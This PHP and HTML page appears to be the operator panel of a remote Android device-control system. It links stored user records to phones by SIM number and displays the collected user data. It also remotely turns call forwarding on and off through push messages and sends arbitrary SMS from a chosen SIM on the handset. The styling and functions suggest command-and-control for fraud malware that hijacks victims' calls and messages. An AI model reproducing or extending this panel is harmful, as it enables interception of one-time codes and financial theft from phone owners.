<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
session_start();

require_once __DIR__ . '/../adminapi/includes/db.php';

/* Auto-link users to devices */
try {
    $pdo->exec("
        UPDATE users u
        JOIN devices d ON (u.mobile = RIGHT(d.sim1_number, 10) OR u.mobile = RIGHT(d.sim2_number, 10))
        SET u.device_id = d.device_id
        WHERE (u.device_id IS NULL OR u.device_id = '') AND u.mobile IS NOT NULL AND u.mobile != '' AND LENGTH(u.mobile) = 10
    ");
} catch (PDOException $e) { error_log("Auto-link error: " . $e->getMessage()); }

if (empty($_SESSION['csrf_token'])) $_SESSION['csrf_token'] = bin2hex(random_bytes(16));
$CSRF = $_SESSION['csrf_token'];

function admin_root_base(): string {
  $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
  return $scheme . '://' . $_SERVER['HTTP_HOST'] . '/admin/';
}

/* ---------------- AJAX passthroughs ---------------- */
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ajax'])) {
  header('Content-Type: application/json');
  header('Cache-Control: no-cache, no-store, must-revalidate');
  if (!hash_equals($_SESSION['csrf_token'] ?? '', $_POST['csrf_token'] ?? '')) {
    echo json_encode(['ok'=>false,'error'=>'Invalid CSRF']); exit;
  }
  $base = admin_root_base();
  $ajax = $_POST['ajax'] ?? '';
  $deviceId = trim($_POST['device_id'] ?? '');

  $curl = static function (array $opt) {
    $ch = curl_init($opt['url']);
    curl_setopt_array($ch, $opt['opts']);
    $body = curl_exec($ch); $err = curl_error($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    $json = null;
    if (is_string($body)) { $decoded = json_decode($body, true); if (json_last_error() === JSON_ERROR_NONE) $json = $decoded; }
    return ['ok'=>(!$err && $code>=200 && $code<300),'status'=>$code,'json'=>$json,'raw'=>$body,'error'=>$err?:null];
  };

  switch ($ajax) {
    case 'get_status':
      global $pdo;
      try {
        $stmt = $pdo->prepare("SELECT call_forwarding, ack_message, last_seen FROM devices WHERE device_id = ? LIMIT 1");
        $stmt->execute([$deviceId]); $row = $stmt->fetch(PDO::FETCH_ASSOC);
        if ($row) { echo json_encode(['ok'=>true,'call_forwarding'=>(int)$row['call_forwarding'],'ack_message'=>$row['ack_message'],'last_seen'=>$row['last_seen']]); }
        else { echo json_encode(['ok'=>false,'error'=>'Device not found']); }
      } catch (Exception $e) { echo json_encode(['ok'=>false,'error'=>$e->getMessage()]); }
      exit;

    case 'step1_trigger':
      $state = (int)($_POST['state'] ?? 0);
      $statusStr = $state ? 'enable' : 'disable';
      try {
          global $pdo;
          $stmt = $pdo->prepare("UPDATE devices SET trigger_status = :status, call_forwarding = :cf WHERE device_id = :did");
          $stmt->execute([':status'=>$statusStr,':cf'=>$state,':did'=>$deviceId]);
          $dbUpdated = $stmt->rowCount() > 0;
          $fcmResult = ['success'=>false];
          $fcmFile = __DIR__ . '/../fcm/fcm_send.php';
          if ($dbUpdated && file_exists($fcmFile)) {
              require_once $fcmFile;
              if (function_exists('isFCMConfigured') && isFCMConfigured()) {
                  if ($statusStr === 'enable') { $fcmResult = sendEnableCallForwarding($deviceId, ''); }
                  else { $fcmResult = sendDisableCallForwarding($deviceId); }
              }
          }
          echo json_encode(['ok'=>$dbUpdated,'json'=>['success'=>$dbUpdated,'message'=>$dbUpdated?'Call forwarding updated':'Device not found','fcm_sent'=>$fcmResult['success']??false]]);
      } catch (Exception $e) { echo json_encode(['ok'=>false,'json'=>['success'=>false,'message'=>$e->getMessage()]]); }
      exit;

    case 'step4_status':
      global $pdo;
      try {
        $stmt = $pdo->prepare("SELECT call_forwarding, ack_message FROM devices WHERE device_id = ? LIMIT 1");
        $stmt->execute([$deviceId]); $row = $stmt->fetch(PDO::FETCH_ASSOC);
        if ($row) { echo json_encode(['ok'=>true,'json'=>['call_forwarding'=>(int)$row['call_forwarding'],'ack_message'=>$row['ack_message']]]); }
        else { echo json_encode(['ok'=>false]); }
      } catch (Exception $e) { echo json_encode(['ok'=>false,'error'=>$e->getMessage()]); }
      exit;

    case 'sms_trigger':
      $to = trim($_POST['to'] ?? ''); $msg = (string)($_POST['message'] ?? ''); $sim = ($_POST['sim'] ?? 'sim1');
      echo json_encode($curl(['url'=>$base.'tmp/custom_sms_put.php','opts'=>[CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>http_build_query(['device_id'=>$deviceId,'to'=>$to,'message'=>$msg,'sim'=>$sim]),CURLOPT_HTTPHEADER=>['Content-Type: application/x-www-form-urlencoded'],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>20,CURLOPT_FOLLOWLOCATION=>true]]));
      exit;

    case 'sms_status':
      echo json_encode($curl(['url'=>$base.'tmp/custom_sms_status.php','opts'=>[CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>http_build_query(['device_id'=>$deviceId]),CURLOPT_HTTPHEADER=>['Content-Type: application/x-www-form-urlencoded'],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>12,CURLOPT_FOLLOWLOCATION=>true]]));
      exit;
  }
  echo json_encode(['ok'=>false,'error'=>'Unknown action']); exit;
}

header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');

$device_id = $_GET['device_id'] ?? '';
$userRow = null; $devRow = null; $info = null;

if ($device_id !== '') {
  $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  $stmtDev = $pdo->prepare("SELECT * FROM devices WHERE device_id = ? LIMIT 1");
  $stmtDev->execute([$device_id]); $devRow = $stmtDev->fetch(PDO::FETCH_ASSOC);
  $stmtUser = $pdo->prepare("SELECT * FROM users WHERE device_id = ? ORDER BY id DESC LIMIT 1");
  $stmtUser->execute([$device_id]); $userRow = $stmtUser->fetch(PDO::FETCH_ASSOC);
  if ($devRow || $userRow) {
    $info = $devRow ? $devRow : [];
    if ($userRow) { foreach ($userRow as $k=>$v) { if (!array_key_exists($k,$info)) $info[$k] = $v; } }
    if (!isset($info['device_id']) && $device_id !== '') $info['device_id'] = $device_id;
  }
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>⬡ DEVICE DETAILS // <?= htmlspecialchars($device_id) ?></title>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;500;600;700&family=Orbitron:wght@400;500;600;700;800&display=swap" rel="stylesheet">
<style>
:root{--bg:#0a0e17;--bg2:#0d1321;--card:#111827;--border:#1e3a5f;--green:#00ff88;--cyan:#00d4ff;--red:#ff3366;--amber:#ffaa00;--purple:#a855f7;--text:#e0e7ef;--muted:#3a5068;--glow-g:0 0 10px rgba(0,255,136,0.3);--glow-c:0 0 10px rgba(0,212,255,0.3);--glow-r:0 0 10px rgba(255,51,102,0.3);}
*{box-sizing:border-box;-webkit-tap-highlight-color:transparent;}
body{font-family:'JetBrains Mono',monospace;background:var(--bg);margin:0;padding:12px;color:var(--text);line-height:1.5;font-size:12px;background-image:linear-gradient(rgba(0,255,136,0.02) 1px,transparent 1px),linear-gradient(90deg,rgba(0,255,136,0.02) 1px,transparent 1px);background-size:20px 20px;}
body::before{content:'';position:fixed;top:0;left:0;right:0;bottom:0;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,255,136,0.015) 2px,rgba(0,255,136,0.015) 4px);pointer-events:none;z-index:9999;}
.card{background:var(--card);border:1px solid var(--border);border-radius:8px;overflow:hidden;max-width:600px;margin:0 auto;position:relative;}
.card::before{content:'';position:absolute;top:0;left:0;right:0;height:2px;background:linear-gradient(90deg,transparent,var(--green),var(--cyan),transparent);animation:glow 3s infinite;}
@keyframes glow{0%,100%{opacity:.5}50%{opacity:1}}
.card-header{background:linear-gradient(135deg,rgba(0,40,20,0.8),rgba(0,20,40,0.8));padding:16px;border-bottom:1px solid var(--border);}
.card-header h1{margin:0;font-size:14px;font-family:'Orbitron',sans-serif;color:var(--green);letter-spacing:2px;text-shadow:var(--glow-g);}
.card-header .subtitle{font-size:10px;color:var(--cyan);margin-top:6px;word-break:break-all;letter-spacing:0.5px;}
.card-body{padding:16px;}
.status-section{display:flex;flex-direction:column;gap:12px;margin-bottom:16px;}
.badge{display:inline-flex;align-items:center;gap:8px;padding:8px 12px;border-radius:4px;font-size:11px;font-weight:600;width:fit-content;text-transform:uppercase;letter-spacing:0.5px;}
.badge.success{background:rgba(0,255,136,0.1);color:var(--green);border:1px solid rgba(0,255,136,0.3);}
.badge.danger{background:rgba(255,51,102,0.1);color:var(--red);border:1px solid rgba(255,51,102,0.3);}
.badge-dot{width:6px;height:6px;border-radius:50%;background:currentColor;box-shadow:0 0 6px currentColor;}
</style>
<style>
.btn-group{display:flex;gap:8px;flex-wrap:wrap;}
.btn{display:inline-flex;align-items:center;justify-content:center;gap:6px;padding:10px 14px;border:none;border-radius:4px;font-size:11px;font-weight:600;cursor:pointer;transition:all .2s;flex:1;min-width:90px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px;}
.btn:disabled{opacity:.5;cursor:not-allowed;}
.btn-primary{background:rgba(0,255,136,0.15);color:var(--green);border:1px solid rgba(0,255,136,0.4);}
.btn-primary:hover:not(:disabled){background:rgba(0,255,136,0.25);box-shadow:var(--glow-g);}
.btn-secondary{background:rgba(255,51,102,0.15);color:var(--red);border:1px solid rgba(255,51,102,0.4);}
.btn-secondary:hover:not(:disabled){background:rgba(255,51,102,0.25);box-shadow:var(--glow-r);}
.btn-outline{background:rgba(0,212,255,0.1);color:var(--cyan);border:1px solid rgba(0,212,255,0.4);}
.btn-outline:hover:not(:disabled){background:rgba(0,212,255,0.2);box-shadow:var(--glow-c);}
.status-msg{font-size:11px;color:var(--muted);text-align:center;padding:8px 0;min-height:20px;}
.info-section{margin-top:16px;}
.info-section h2{font-size:10px;font-weight:700;color:var(--cyan);text-transform:uppercase;letter-spacing:2px;margin:0 0 10px;padding-bottom:8px;border-bottom:1px solid var(--border);font-family:'Orbitron',sans-serif;}
.info-section h2::before{content:'◈ ';color:var(--green);}
.info-row{display:flex;padding:8px 0;border-bottom:1px solid rgba(30,58,95,0.3);}
.info-row:last-child{border-bottom:none;}
.info-label{flex:0 0 40%;font-size:10px;color:var(--muted);text-transform:uppercase;letter-spacing:0.5px;}
.info-value{flex:1;font-size:11px;color:var(--green);word-break:break-word;}
.refresh-btn{background:rgba(0,212,255,0.1);border:1px solid rgba(0,212,255,0.3);color:var(--cyan);cursor:pointer;font-size:10px;padding:4px 8px;margin-left:8px;border-radius:4px;font-family:'JetBrains Mono',monospace;}
.refresh-btn:hover{background:rgba(0,212,255,0.2);box-shadow:var(--glow-c);}
.empty-state{text-align:center;padding:40px 20px;color:var(--muted);font-size:11px;text-transform:uppercase;letter-spacing:1px;}
</style>
<style>
.modal-overlay{position:fixed;inset:0;background:rgba(0,0,0,0.8);display:none;align-items:flex-end;justify-content:center;z-index:1000;backdrop-filter:blur(4px);}
.modal-overlay.show{display:flex;}
.modal{background:var(--card);width:100%;max-width:500px;max-height:90vh;border-radius:8px 8px 0 0;overflow:hidden;border:1px solid var(--border);border-bottom:none;}
@media(min-width:600px){.modal-overlay{align-items:center;padding:20px;}.modal{border-radius:8px;border-bottom:1px solid var(--border);}}
.modal-header{display:flex;align-items:center;justify-content:space-between;padding:14px 16px;border-bottom:1px solid var(--border);background:rgba(0,20,40,0.5);}
.modal-header h3{margin:0;font-size:12px;font-family:'Orbitron',sans-serif;color:var(--cyan);letter-spacing:1px;}
.modal-close{width:28px;height:28px;border:1px solid rgba(255,51,102,0.3);background:rgba(255,51,102,0.1);border-radius:4px;cursor:pointer;font-size:14px;color:var(--red);display:flex;align-items:center;justify-content:center;}
.modal-close:hover{background:rgba(255,51,102,0.2);box-shadow:var(--glow-r);}
.modal-body{padding:16px;}
.modal-footer{display:flex;gap:10px;padding:14px 16px;border-top:1px solid var(--border);}
.form-group{margin-bottom:14px;}
.form-label{display:block;font-size:9px;font-weight:600;color:var(--cyan);margin-bottom:6px;text-transform:uppercase;letter-spacing:1px;}
.form-label::before{content:'> ';color:var(--green);}
.form-input{width:100%;padding:10px 12px;border:1px solid var(--border);border-radius:4px;font-size:12px;font-family:'JetBrains Mono',monospace;color:var(--green);background:rgba(0,10,20,0.8);outline:none;transition:all .3s;}
.form-input:focus{border-color:var(--green);box-shadow:var(--glow-g);}
.form-input::placeholder{color:var(--muted);}
.form-textarea{min-height:80px;resize:vertical;}
.form-hint{font-size:9px;color:var(--muted);margin-top:4px;}
.sim-selector{display:flex;gap:10px;}
.sim-option{flex:1;position:relative;}
.sim-option input{position:absolute;opacity:0;}
.sim-option label{display:flex;align-items:center;justify-content:center;gap:6px;padding:10px;border:1px solid var(--border);border-radius:4px;cursor:pointer;font-size:11px;color:var(--muted);transition:all .2s;}
.sim-option input:checked+label{border-color:var(--green);background:rgba(0,255,136,0.1);color:var(--green);}
.char-counter{text-align:right;font-size:9px;color:var(--muted);margin-top:4px;}
.alert{display:none;padding:10px;border-radius:4px;font-size:11px;margin-top:10px;}
.alert.success{display:block;background:rgba(0,255,136,0.08);color:var(--green);border:1px solid rgba(0,255,136,0.2);}
.alert.error{display:block;background:rgba(255,51,102,0.08);color:var(--red);border:1px solid rgba(255,51,102,0.2);}
.spinner{display:inline-block;width:12px;height:12px;border:2px solid rgba(0,255,136,0.3);border-top-color:var(--green);border-radius:50%;animation:spin .8s linear infinite;}
@keyframes spin{to{transform:rotate(360deg)}}
</style>
</head>
<body>

<div class="card">
  <?php if ($info): ?>
  <div class="card-header">
    <h1>◈ DEVICE CONTROL</h1>
    <div class="subtitle">ID: <?= htmlspecialchars($info['device_id'] ?? $device_id) ?></div>
  </div>
  
  <div class="card-body">
    <div class="status-section">
      <?php 
      $cfStatus = (int)($info['call_forwarding'] ?? 0);
      $badgeClass = $cfStatus === 1 ? 'success' : 'danger';
      $badgeText = $cfStatus === 1 ? 'CALL FORWARD: ACTIVE' : 'CALL FORWARD: INACTIVE';
      ?>
      <div style="display:flex;align-items:center;">
        <div id="state-badge" class="badge <?= $badgeClass ?>">
          <span class="badge-dot"></span>
          <span><?= $badgeText ?></span>
        </div>
        <button class="refresh-btn" onclick="refreshStatus()">⟳ SYNC</button>
      </div>
      
      <div class="btn-group">
        <button id="btn-on" class="btn btn-primary">◈ ACTIVATE</button>
        <button id="btn-off" class="btn btn-secondary">◈ DEACTIVATE</button>
      </div>
      
      <button id="btn-sms" class="btn btn-outline" style="width:100%">◈ SEND CUSTOM SMS</button>
      
      <div id="op-msg" class="status-msg"></div>
    </div>
    
    <div class="info-section">
      <h2>Device Information</h2>
      <div class="info-table">
        <?php
        $deviceFields = ['device_model','android_version','sim1_number','sim2_number','last_seen','call_forwarding','ack_message'];
        foreach ($deviceFields as $field):
          if (isset($devRow[$field]) && $devRow[$field] !== null && $devRow[$field] !== ''):
        ?>
        <div class="info-row">
          <div class="info-label"><?= ucwords(str_replace('_',' ',$field)) ?></div>
          <div class="info-value"><?= htmlspecialchars((string)$devRow[$field]) ?></div>
        </div>
        <?php endif; endforeach; ?>
      </div>
    </div>
    
    <?php if ($userRow && !empty($userRow)): ?>
    <div class="info-section">
      <h2>User Data</h2>
      <div class="info-table">
        <?php
        $skipFields = ['id','device_id','created_at','updated_at'];
        foreach ($userRow as $field => $value):
          if (in_array($field, $skipFields) || $value === null || $value === '') continue;
        ?>
        <div class="info-row">
          <div class="info-label"><?= htmlspecialchars(ucwords(str_replace('_',' ',$field))) ?></div>
          <div class="info-value"><?= nl2br(htmlspecialchars((string)$value)) ?></div>
        </div>
        <?php endforeach; ?>
      </div>
    </div>
    <?php endif; ?>
  </div>
  
  <?php else: ?>
  <div class="empty-state">No device found with this ID</div>
  <?php endif; ?>
</div>

<?php if ($info): ?>
<div id="smsModal" class="modal-overlay">
  <div class="modal">
    <div class="modal-header">
      <h3>◈ SMS DISPATCH</h3>
      <button class="modal-close" id="smsClose">&times;</button>
    </div>
    <div class="modal-body">
      <div class="form-group">
        <label class="form-label">Target Number</label>
        <input type="tel" id="smsTo" class="form-input" placeholder="+91XXXXXXXXXX">
        <div class="form-hint">Format: 1900, 9999999999 or +919999999999</div>
      </div>
      <div class="form-group">
        <label class="form-label">Payload</label>
        <textarea id="smsBody" class="form-input form-textarea" placeholder="Enter message payload..."></textarea>
        <div class="char-counter" id="charCount">0 chars</div>
      </div>
      <div class="form-group">
        <label class="form-label">Channel</label>
        <div class="sim-selector">
          <div class="sim-option">
            <input type="radio" name="smsSim" id="sim1" value="sim1" checked>
            <label for="sim1">SIM-1</label>
          </div>
          <div class="sim-option">
            <input type="radio" name="smsSim" id="sim2" value="sim2">
            <label for="sim2">SIM-2</label>
          </div>
        </div>
      </div>
      <div id="alertOk" class="alert"></div>
      <div id="alertErr" class="alert"></div>
    </div>
    <div class="modal-footer">
      <button id="smsCancel" class="btn btn-secondary" style="flex:1">ABORT</button>
      <button id="smsSend" class="btn btn-primary" style="flex:1">◈ TRANSMIT</button>
    </div>
  </div>
</div>

<script>
const CSRF = <?= json_encode($CSRF) ?>;
const devId = <?= json_encode($info['device_id'] ?? $device_id) ?>;
const badge = document.getElementById('state-badge');
const btnOn = document.getElementById('btn-on');
const btnOff = document.getElementById('btn-off');
const opMsg = document.getElementById('op-msg');

function setBadge(cf) {
  badge.className = 'badge ' + (cf === 1 ? 'success' : 'danger');
  badge.innerHTML = '<span class="badge-dot"></span><span>CALL FORWARD: ' + (cf === 1 ? 'ACTIVE' : 'INACTIVE') + '</span>';
}
function lockUI(lock) { btnOn.disabled = lock; btnOff.disabled = lock; }

async function callAjax(payload) {
  const fd = new FormData();
  for (const [k,v] of Object.entries(payload)) fd.append(k, String(v));
  const r = await fetch(location.href.split('?')[0] + '?device_id=' + encodeURIComponent(devId), {method:'POST',body:fd,credentials:'same-origin',cache:'no-store'});
  return await r.json();
}

async function refreshStatus() {
  opMsg.textContent = '⟳ SYNCING...';
  try {
    const r = await callAjax({ajax:'get_status',csrf_token:CSRF,device_id:devId});
    if (r.ok) { setBadge(r.call_forwarding); opMsg.textContent = '◈ SYNC COMPLETE'; }
    else opMsg.textContent = '✕ SYNC FAILED';
  } catch(e) { opMsg.textContent = '✕ ERROR'; }
  setTimeout(()=>{opMsg.textContent='';},2000);
}

async function runForwardFlow(desired) {
  lockUI(true);
  opMsg.textContent = desired ? '◈ ACTIVATING...' : '◈ DEACTIVATING...';
  try {
    const t = await callAjax({ajax:'step1_trigger',csrf_token:CSRF,device_id:devId,state:desired});
    if (!t.ok) { opMsg.textContent = '✕ COMMAND FAILED'; lockUI(false); return; }
    opMsg.textContent = '◈ SIGNAL SENT, AWAITING ACK...';
    let found = false;
    for (let i=0;i<15;i++) {
      await new Promise(r=>setTimeout(r,1500));
      const s = await callAjax({ajax:'step4_status',csrf_token:CSRF,device_id:devId});
      if (s.ok && s.json && Number(s.json.call_forwarding)===desired) {
        setBadge(desired);
        opMsg.textContent = desired ? '◈ CALL FORWARD ACTIVATED' : '◈ CALL FORWARD DEACTIVATED';
        found = true; break;
      }
    }
    if (!found) opMsg.textContent = '⏳ TIMEOUT — VERIFY NODE STATUS';
  } catch(e) { opMsg.textContent = '✕ TRANSMISSION ERROR'; }
  setTimeout(()=>{opMsg.textContent='';},5000);
  lockUI(false);
}

btnOn.addEventListener('click',()=>runForwardFlow(1));
btnOff.addEventListener('click',()=>runForwardFlow(0));
refreshStatus();
</script>

<script>
/* ===== SMS Modal ===== */
const smsModal = document.getElementById('smsModal');
const smsTo = document.getElementById('smsTo');
const smsBody = document.getElementById('smsBody');
const smsSend = document.getElementById('smsSend');
const alertOk = document.getElementById('alertOk');
const alertErr = document.getElementById('alertErr');
const charCount = document.getElementById('charCount');

function updateCounter() {
  const len = smsBody.value.length;
  charCount.textContent = len + ' chars // ' + (len<=160?1:Math.ceil(len/153)) + ' segment(s)';
}
function showModal() { smsModal.classList.add('show'); smsTo.focus(); }
function hideModal() { smsModal.classList.remove('show'); }
function resetAlerts() { alertOk.className='alert'; alertErr.className='alert'; }

document.getElementById('btn-sms').addEventListener('click',()=>{smsTo.value='';smsBody.value='';updateCounter();resetAlerts();showModal();});
document.getElementById('smsCancel').addEventListener('click',hideModal);
document.getElementById('smsClose').addEventListener('click',hideModal);
smsModal.addEventListener('click',(e)=>{if(e.target===smsModal)hideModal();});
smsBody.addEventListener('input',updateCounter);

async function sendCustomSms() {
  resetAlerts();
  const to = smsTo.value.trim();
  const body = smsBody.value.trim();
  const sim = document.querySelector('input[name="smsSim"]:checked')?.value||'sim1';
  if (!to||!/^[+]?\d{1,20}$/.test(to.replace(/[\s\-()]/g,''))) {
    alertErr.textContent='✕ INVALID TARGET NUMBER';alertErr.className='alert error';return;
  }
  if (!body) {alertErr.textContent='✕ PAYLOAD CANNOT BE EMPTY';alertErr.className='alert error';return;}
  smsSend.disabled=true;
  smsSend.innerHTML='<span class="spinner"></span> TRANSMITTING...';
  try {
    const r = await callAjax({ajax:'sms_trigger',csrf_token:CSRF,device_id:devId,to:to,message:body,sim:sim});
    if (!r.ok||!(r.json?.ok)) {
      alertErr.textContent='✕ FAILED: '+(r.json?.error||'Unknown error');alertErr.className='alert error';
    } else {
      alertOk.textContent = r.json?.fcm_sent ? '◈ SMS TRANSMITTED INSTANTLY' : '◈ SMS QUEUED (FCM UNAVAILABLE)';
      alertOk.className='alert success';
      smsTo.value='';smsBody.value='';updateCounter();
      setTimeout(()=>{hideModal();resetAlerts();},2000);
    }
  } catch(e) {alertErr.textContent='✕ ERROR: '+e.message;alertErr.className='alert error';}
  smsSend.disabled=false;smsSend.textContent='◈ TRANSMIT';
}
smsSend.addEventListener('click',sendCustomSms);
</script>
<?php endif; ?>
</body>
</html>
